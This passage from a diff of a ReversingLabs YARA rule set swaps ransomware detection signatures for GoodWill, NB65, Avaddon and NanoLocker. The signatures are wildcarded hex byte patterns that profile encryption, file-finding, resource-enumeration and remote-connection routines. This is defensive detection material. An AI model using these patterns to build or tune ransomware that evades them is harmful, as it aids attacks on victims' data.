-            ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? BE ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 B5 ?? ?? ?? ??
-            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 39 BD ?? ?? ?? ?? 72 ?? 8B 85 ??
-            ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 53 89 B5 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ??
-            ?? C6 85 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 46 89 B5 ?? ?? ?? ?? 83
-            FE ?? 0F 8C ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? B0 ?? 8B
-            4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
+		$encrypt_files = {
+            50 51 51 FF B5 ?? ?? ?? ?? 51 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ??
+            ?? ?? 8B BD ?? ?? ?? ?? 57 89 BD ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 59 85 F6 0F 84 ??
+            ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B CE 85 C0 74 ?? C6 01 ?? 41 83 E8 ?? 75 ?? 8D 85 ?? ??
+            ?? ?? 50 E8 ?? ?? ?? ?? 59 83 C0 ?? 74 ?? 39 85 ?? ?? ?? ?? 72 ?? 50 8D 85 ?? ?? ??
+            ?? 50 56 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? FF B5 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 83
+            C4 ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ??
+            ?? ?? 59 57 40 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 6A ?? FF B5 ?? ?? ?? ?? 6A
+            ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? D1 EF 6A ?? 5A 74 ??
+            8B 9D ?? ?? ?? ?? 4B 03 DE 8A 03 8A 0C 32 88 04 32 42 88 0B 4B 3B D7 72 ?? 8B 9D ??
+            ?? ?? ?? 8B BD ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 03 C3 56 50 E8 ?? ?? ?? ?? 03 DF 56
+            89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B B5 ?? ?? ??
+            ?? 47 81 C6 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? 50 89 B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 D2
+            B9 ?? ?? ?? ?? F7 F1 83 C4 ?? 40 3B F8 0F 82
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($get_logical_drives_list_p*)) and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
+		uint16(0)==0x5A4D and ($enum_resources) and ($find_files) and ($import_key) and ($encrypt_files)
 }
-rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Goodwill : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Avaddon : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects GoodWill ransomware."
+		description = "Yara rule that detects Avaddon ransomware."
 		author = "ReversingLabs"
-		id = "66358802-450b-5276-8088-b3550519b1e8"
-		date = "2022-06-28"
-		modified = "2022-06-28"
+		id = "f3a57482-5799-594b-bcfa-1137ca04dfd5"
+		date = "2020-10-19"
+		modified = "2020-10-19"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/ByteCode.MSIL.Ransomware.GoodWill.yara#L1-L89"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "94e2950f415ba737fe5ca9d32a3d850dd5744e547c4ca094ad28545e19033cb2"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Avaddon.yara#L1-L148"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "1b2c449d5bad02dd06cb4a980fcca1feaf02b1d8127096bb39deecbc544272a6"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -42720,77 +42739,132 @@ rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Goodwill : TC_DETECTION MALICIOUS MA
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "GoodWill"
+		tc_detection_name = "Avaddon"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$encrypt_file = {
-            02 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 06 6F
-            ?? ?? ?? ?? 0A 06 28 ?? ?? ?? ?? 0B 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 02 72 ?? ?? ??
-            ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 08 07 28 ?? ?? ?? ?? 02 28 ?? ?? ?? ?? DE ?? 26 72 ??
-            ?? ?? ?? 28 ?? ?? ?? ?? DE ?? 2A
-        }
-		$aes_encrypt = {
-            14 0A 03 0B 73 ?? ?? ?? ?? 0C 73 ?? ?? ?? ?? 0D 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 20
-            ?? ?? ?? ?? 6F ?? ?? ?? ?? 03 07 20 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 09 11 ?? 09 6F ??
-            ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ??
-            ?? ?? 6F ?? ?? ?? ?? 09 17 6F ?? ?? ?? ?? 08 09 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ??
-            11 ?? 02 16 02 8E 69 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ??
-            ?? ?? ?? DC 08 6F ?? ?? ?? ?? 0A DE ?? 09 2C ?? 09 6F ?? ?? ?? ?? DC 08 2C ?? 08 6F ??
-            ?? ?? ?? DC 06 2A
+		$find_files = {
+            8B FF 55 8B EC 51 8B 4D ?? 53 57 33 DB 8D 51 ?? 66 8B 01 83 C1 ?? 66 3B C3 75 ?? 8B
+            7D ?? 2B CA D1 F9 8B C7 41 F7 D0 89 4D ?? 3B C8 76 ?? 6A ?? 58 5F 5B C9 C3 56 8D 5F
+            ?? 03 D9 6A ?? 53 E8 ?? ?? ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ??
+            ?? ?? 83 C4 ?? 85 C0 75 ?? FF 75 ?? 2B DF 8D 04 7E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83
+            C4 ?? 85 C0 75 ?? 8B 7D ?? 8B CF E8 ?? ?? ?? ?? 8B D8 85 DB 74 ?? 56 E8 ?? ?? ?? ??
+            59 EB ?? 8B 47 ?? 89 30 83 47 ?? ?? 33 DB 6A ?? E8 ?? ?? ?? ?? 59 8B C3 5E EB ?? 33
+            C0 50 50 50 50 50 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
+            33 C5 89 45 ?? 8B 55 ?? 8B 4D ?? 53 8B 5D ?? 89 8D ?? ?? ?? ?? 56 57 3B D3 74 ?? 0F
+            B7 02 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 84 C0 75 ?? 83 EA ?? 3B D3 75 ?? 8B 8D ??
+            ?? ?? ?? 0F B7 32 83 FE ?? 75 ?? 8D 43 ?? 3B D0 74 ?? 51 33 FF 57 57 53 E8 ?? ?? ??
+            ?? 83 C4 ?? E9 ?? ?? ?? ?? 56 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 2B D3 0F B6 C0 D1 FA
+            42 F7 D8 1B C0 33 FF 57 57 23 C2 57 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 53 FF
+            15 ?? ?? ?? ?? 8B F0 8B 85 ?? ?? ?? ?? 83 FE ?? 75 ?? 50 57 57 53 E8 ?? ?? ?? ?? 83
+            C4 ?? 8B F8 E9 ?? ?? ?? ?? 8B 48 ?? 2B 08 C1 F9 ?? 6A ?? 89 8D ?? ?? ?? ?? 59 66 39
+            8D ?? ?? ?? ?? 75 ?? 66 39 BD ?? ?? ?? ?? 74 ?? 66 39 8D ?? ?? ?? ?? 75 ?? 66 39 BD
+            ?? ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 83 C4
+            ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 6A ?? 85 C0 8B 85 ?? ?? ??
+            ?? 59 75 ?? 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B C8 74 ?? 68 ?? ?? ??
+            ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 8B F8 56 FF 15 ?? ?? ??
+            ?? 8B C7 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? C9 C3
         }
-		$find_files_p1 = {
-            28 ?? ?? ?? ?? 0A 1F ?? 28 ?? ?? ?? ?? 0B 18 8D ?? ?? ?? ?? 25 16 72 ?? ?? ?? ?? A2 25
-            17 72 ?? ?? ?? ?? A2 0C 06 0D 16 13 ?? 38 ?? ?? ?? ?? 09 11 ?? 9A 13 ?? 11 ?? 6F ?? ??
-            ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? DD ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11
-            ?? 28 ?? ?? ?? ?? 08 13 ?? 16 13 ?? 38 ?? ?? ?? ?? 11 ?? 11 ?? 9A 13 ?? 11 ?? 28 ?? ??
-            ?? ?? 6F ?? ?? ?? ?? 13 ?? 2B ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 17 28 ?? ?? ??
-            ?? 6F ?? ?? ?? ?? 13 ?? 2B ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 7D ?? ??
-            ?? ?? 11 ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 19 6F ?? ?? ?? ?? 6F ??
-            ?? ?? ?? DE ?? 26 DE ?? 11 ?? 6F ?? ?? ?? ?? 2D ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ??
-            ?? DC DE ?? 26 DE ?? 26 DE ?? 11 ?? 6F ?? ?? ?? ?? 2D ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ??
-            ?? ?? ?? DC 11 ?? 11 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 2B ?? 73 ?? ?? ?? ?? 13 ??
-            11 ?? 11 ?? 6F ?? ?? ?? ?? 7D ?? ?? ?? ?? 11 ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ??
-            ?? ?? ?? 25 19 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 26 DE ?? 11 ?? 6F ?? ?? ?? ?? 2D ??
-            DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC DE ?? 26 DE ?? 11 ?? 17 58 13 ?? 11 ?? 11 ??
-            8E 69 3F ?? ?? ?? ?? DE ?? 26 DE ?? 11 ?? 17 58 13 ?? 11 ?? 09 8E 69 3F ?? ?? ?? ?? 08
+		$encrypt_files_p1 = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
+            33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 8B 45 ?? 8B
+            7D ?? 85 C0 0F 84 ?? ?? ?? ?? 83 FF ?? 0F 84 ?? ?? ?? ?? 6A ?? 8D 4D ?? C7 45 ?? ??
+            ?? ?? ?? 51 6A ?? 6A ?? 6A ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84
         }
-		$find_files_p2 = {
-            13 ?? 16 13 ?? 38 ?? ?? ?? ?? 11 ?? 11 ?? 9A 13 ?? 07 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13
-            ?? 2B ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 17 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ??
-            2B ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 7D ?? ?? ?? ?? 11 ?? FE 06 ?? ??
-            ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 19 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 26 DE ??
-            26 DE ?? 11 ?? 6F ?? ?? ?? ?? 2D ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC DE ?? 26
-            DE ?? 11 ?? 6F ?? ?? ?? ?? 2D ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 07 11 ?? 28
-            ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 2B ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ??
-            7D ?? ?? ?? ?? 11 ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 19 6F ?? ?? ??
-            ?? 6F ?? ?? ?? ?? DE ?? 26 DE ?? 11 ?? 6F ?? ?? ?? ?? 2D ?? DE ?? 11 ?? 2C ?? 11 ?? 6F
-            ?? ?? ?? ?? DC DE ?? 26 DE ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 3F ?? ?? ?? ?? 2A
+		$encrypt_files_p2 = {
+            6A ?? 8D 45 ?? 0F 57 C0 50 66 0F 13 45 ?? FF 75 ?? FF 75 ?? 57 FF 15 ?? ?? ?? ?? 85
+            C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? 6A ?? 51 8D 45 ?? 0F 43 45 ?? 68 ?? ?? ??
+            ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? FF 75
+            ?? 57 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 33 F6 39 75 ?? 0F 86 ?? ?? ?? ?? 83
+            7D ?? ?? 8D 45 ?? 8D 4D ?? 0F 43 45 ?? 83 7D ?? ?? 68 ?? ?? ?? ?? 0F 43 4D ?? 03 C6
+            50 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? 8D 45 ?? 0F
+            43 45 ?? 53 51 50 6A ?? 6A ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ??
+            ?? 83 7D ?? ?? 8D 4D ?? 6A ?? 51 8D 45 ?? 0F 43 45 ?? 53 50 57 FF 15 ?? ?? ?? ?? 85
+            C0 0F 84 ?? ?? ?? ?? 81 C6 ?? ?? ?? ?? 3B 75 ?? 0F 82 ?? ?? ?? ?? 83 7D ?? ?? 74
         }
-		$remote_connection = {
-            73 ?? ?? ?? ?? 0A 00 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 7E ?? ?? ?? ?? 17 28 ?? ?? ??
-            ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 1C 6F ?? ?? ?? ?? 2B ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ??
-            1C 6F ?? ?? ?? ?? 06 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 20 ?? ?? ?? ?? 28 ??
-            ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 17 0B DE ?? 26 72 ?? ?? ?? ??
-            28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? 07 2A
+		$encrypt_files_p3 = {
+            8B 45 ?? 89 45 ?? 8B 45 ?? 6A ?? 89 45 ?? 8D 45 ?? 50 51 52 57 89 55 ?? 89 4D ?? FF
+            15 ?? ?? ?? ?? 85 C0 74 ?? 8B 9D ?? ?? ?? ?? 83 7B ?? ?? 8D 43 ?? 72 ?? 8B 00 6A ??
+            8D 4D ?? 51 FF 73 ?? 50 57 FF D6 85 C0 74 ?? 8B 4B ?? 39 4D ?? 75 ?? 8B 45 ?? 89 85
+            ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 6A ?? 89 45 ?? 8D 45 ?? 50 6A ?? 8D 85 ?? ??
+            ?? ?? 89 4D ?? 50 57 C7 45 ?? ?? ?? ?? ?? FF D6 85 C0 74 ?? 83 7D ?? ?? 75 ?? B3 ??
+            EB ?? 32 DB 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49
+            ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7
+            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1
+            81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ??
+            ?? ?? ?? 83 C4 ?? 8A C3 EB ?? 32 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D
+            ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2
+        }
+		$remote_connection_p1 = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
+            33 C5 89 45 ?? 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 45 ?? 33 C9 8B 75 ?? 89 85 ??
+            ?? ?? ?? 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ??
+            ?? 66 89 8D ?? ?? ?? ?? 89 4D ?? 39 4E ?? 0F 84 ?? ?? ?? ?? 66 39 4E ?? 0F 86 ?? ??
+            ?? ?? 39 4E ?? 0F 84 ?? ?? ?? ?? 39 4E ?? 0F 84 ?? ?? ?? ?? 8B 06 8D 8D ?? ?? ?? ??
+            8B 7E ?? BA ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 78 ?? ?? 72 ?? 8B 00 6A
+            ?? 6A ?? 57 FF B5 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B F8 89 BD ??
+            ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ??
+            ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ??
+            ?? ?? 83 C4 ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66
+            89 85 ?? ?? ?? ?? 85 FF 0F 84 ?? ?? ?? ?? 83 7E ?? ?? 8D 46 ?? 0F B7 4E ?? 72 ?? 8B
+        }
+		$remote_connection_p2 = {
+            00 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 51 50 57 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ??
+            ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 7E ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ??
+            8B D0 83 7A ?? ?? 72 ?? 8B 12 83 7E ?? ?? 8D 4E ?? 72 ?? 8B 09 83 7E ?? ?? 8D 46 ??
+            72 ?? 8B 00 6A ?? 57 6A ?? 6A ?? 52 51 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 95
+            ?? ?? ?? ?? 8B F8 89 BD ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ??
+            ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87
+            ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85
+            ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 85 FF 0F 84 ?? ?? ?? ?? 8B 46 ?? 85 C0
+            75 ?? 50 50 50 50 57 FF 15 ?? ?? ?? ?? EB ?? 83 C6 ?? 83 7E ?? ?? 72 ?? 8B 36 50 56
+            6A ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ??
+            ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 85 ?? ?? ??
+            ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 84
+        }
+		$enum_resources_p1 = {
+            33 D2 89 7D ?? 89 7D ?? 89 75 ?? 89 45 ?? 89 45 ?? 89 4D ?? 89 55 ?? 89 55 ?? 39 56
+            ?? 0F 84 ?? ?? ?? ?? 89 55 ?? 89 55 ?? 89 55 ?? 89 55 ?? 83 7E ?? ?? 8B C6 72 ?? 8B
+            06 8D 4D ?? 51 8D 4D ?? 51 8D 4D ?? 51 6A ?? 8D 4D ?? 51 6A ?? 50 FF 15 ?? ?? ?? ??
+            89 45 ?? 85 C0 74 ?? 3D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 8B 45 ?? 89 45 ??
+            C7 45 ?? ?? ?? ?? ?? 0F 82
+        }
+		$enum_resources_p2 = {
+            8D 4D ?? D1 F8 50 52 E8 ?? ?? ?? ?? 8B 7D ?? 8D 4D ?? 8B 75 ?? 83 FF ?? 8B 55 ?? 6A
+            ?? 68 ?? ?? ?? ?? 0F 43 CE 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 85 ?? ?? ?? ??
+            8B 7D ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 33 C0 8B 75 ?? 66 89 85 ?? ?? ?? ?? 83 CE ??
+            8B 47 ?? 83 C0 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89
+            75 ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7F ??
+            ?? 8B C7 72 ?? 8B 07 FF 77 ?? 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ??
+            ?? 8D 8D ?? ?? ?? ?? E8
+        }
+		$enum_resources_p3 = {
+            53 8B DC 83 EC ?? 83 E4 ?? 83 C4 ?? 55 8B 6B ?? 89 6C 24 ?? 8B EC 6A ?? 68 ?? ?? ??
+            ?? 64 A1 ?? ?? ?? ?? 50 53 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 57 50 8D 45 ??
+            64 A3 ?? ?? ?? ?? 8B 43 ?? 8D 4D ?? 89 45 ?? 89 45 ?? 66 8B 43 ?? 6A ?? 68 ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ??
+            8D 4D ?? 8D 45 ?? 0F 43 45 ?? 51 50 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 7D ?? 8D 45 ??
+            8B 75 ?? 8D 4D ?? 8B 55 ?? 83 FF ?? 0F 43 45 ?? 0F 43 CA 8D 04 70 89 45 ?? 8D 45 ??
+            0F 43 45 ?? 8D 04 70 3B C8 74 ?? 66 83 39 ?? 74 ?? 83 C1 ?? 3B C8 75 ?? 3B C8 74 ??
+            8D 51 ?? 3B D0 74
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ($encrypt_file) and ($aes_encrypt) and ($remote_connection)
+		uint16(0)==0x5A4D and ($find_files) and ( all of ($enum_resources_p*)) and ( all of ($encrypt_files_p*)) and ( all of ($remote_connection_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_NB65 : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Nanolocker : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects NB65 ransomware."
+		description = "Yara rule that detects NanoLocker ransomware."
 		author = "ReversingLabs"
-		id = "1aba009e-8065-5fb0-98e7-a595cb324076"
-		date = "2022-06-01"
-		modified = "2022-06-01"
+		id = "a31dad2e-2738-527b-a6e9-322757e2ec30"
+		date = "2020-07-15"
+		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.NB65.yara#L1-L68"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "f8a0e265fc72a9f017b37ce4b6dbb878285a5d298ab1b8c69f9fde7159426981"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.NanoLocker.yara#L1-L79"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "7fdb021f22d97bf8a00fd856ef913695a0d6fbaad1138b5a5cc2cc8768b130be"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -42798,61 +42872,79 @@ rule REVERSINGLABS_Win32_Ransomware_NB65 : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "NB65"
+		tc_detection_name = "NanoLocker"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$encrypt_files = {
-            E8 ?? ?? ?? ?? 89 45 ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ??
-            C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ??
-            C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ??
-            C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ??
-            C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? 8A 45 ?? 80 7D ?? ?? 75 ?? 33 C9 90 8A 44 0D ??
-            0F B6 C0 83 E8 ?? 6B C0 ?? 99 F7 FB 8D 42 ?? 99 F7 FB 88 54 0D ?? 41 83 F9 ?? 72 ??
-            8D 45 ?? 89 45 ?? A1 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 8D 50
-            ?? 33 C9 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 81 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF D0
-            85 C0 75 ?? 33 F6 66 90 A1 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ??
-            8D 50 ?? 33 C9 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 81 ?? ?? ?? ?? FF B4 B5 ?? ?? ??
-            ?? 57 FF D0 85 C0 75 ?? 46 83 FE ?? 7C ?? 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3
+		$encrypt_file_1 = {
